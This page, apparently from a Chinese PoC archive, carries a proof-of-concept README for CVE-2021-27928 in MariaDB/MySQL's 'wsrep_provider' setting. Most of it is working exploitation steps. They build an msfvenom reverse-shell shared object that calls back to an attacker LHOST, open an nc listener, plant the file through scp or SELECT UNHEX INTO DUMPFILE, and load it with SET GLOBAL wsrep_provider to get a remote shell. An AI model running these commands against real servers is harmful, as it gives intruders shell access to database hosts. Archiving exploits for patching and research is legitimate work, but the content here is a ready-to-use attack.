目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-27928 PoC — MariaDB 代码注入漏洞

来源
关联漏洞
标题: MariaDB 代码注入漏洞 (CVE-2021-27928)
Description:MariaDB是Mariadb基金会的一套免费开源的数据库管理系统,也是一个采用Maria存储引擎的MySQL分支版本。 MariaDB 10.2.37 版本之前的 10.2 版本,10.3.28 版本之前的 10.3 版本,10.4.18 版本之前的 10.4 版本和 10.5.9 版本之前的 10.5 版本存在代码注入漏洞,不受信任的搜索路径会导致eval注入。
Description
CVE-2021-27928 MariaDB/MySQL-'wsrep provider' 命令注入漏洞
介绍
## Information

~~~
Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
Date: 03/18/2021
Exploit Author: Central InfoSec
Version: 
	MariaDB 10.2 before 10.2.37
	10.3 before 10.3.28
	10.4 before 10.4.18 
	10.5 before 10.5.9
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
Tested on: Linux
CVE : CVE-2021-27928
~~~

## How to Exploit

Step 1: Create the reverse shell payload

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
```

![payload](img/payload.png)

Step 2: Start a listener

```
nc -lnvp <port>
```

![nc](img/nc.png)

Step 3: Copy the payload to the target machine

**Via SCP**

```
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
```
**Via Dumpfile**
```
python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';
```

Step 4:Execute the payload
```
mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";
```

![shell](img/shell.png)

## Reference

https://www.exploit-db.com/exploits/49765

https://jira.mariadb.org/browse/MDEV-25179

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →